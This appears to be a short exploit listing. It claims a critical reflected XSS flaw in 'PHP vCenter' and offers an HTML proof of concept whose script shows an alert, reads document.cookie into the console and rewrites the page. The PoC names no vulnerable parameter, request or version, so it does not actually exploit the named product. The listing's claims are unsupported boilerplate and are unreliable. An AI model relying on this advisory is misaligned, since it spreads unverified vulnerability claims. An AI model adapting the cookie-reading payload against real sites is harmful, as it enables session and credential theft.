Critical Severity
Published: Aug 17, 2025
This exploit targets a xss vulnerability in PHP vCenter.
The vulnerability allows an attacker to:
- Inject malicious scripts into web pages
- Steal user credentials and session tokens
- Redirect users to malicious websites
This is a newly discovered vulnerability that affects multiple versions of the software.
PHP vCenter - Multiple versions
<!DOCTYPE html>
<html>
<head>
<title>XSS PoC - Educational Only</title>
</head>
<body>
<h2>Cross-Site Scripting Proof of Concept</h2>
<p>This demonstrates a reflected XSS vulnerability.</p>
<script>
// XSS Payload - Educational purposes only
function demonstrateXSS() {
// Simple alert to show XSS execution
alert("XSS Vulnerability Confirmed: " + document.domain);
// Cookie theft demonstration (ethical testing only)
if (document.cookie) {
console.log("Cookies available: " + document.cookie);
}
// DOM manipulation example
document.body.style.backgroundColor = "#ff0000";
document.body.innerHTML += "<h1 style='color:white;'>XSS Executed</h1>";
}
// Trigger the demonstration
demonstrateXSS();
</script>
</body>
</html>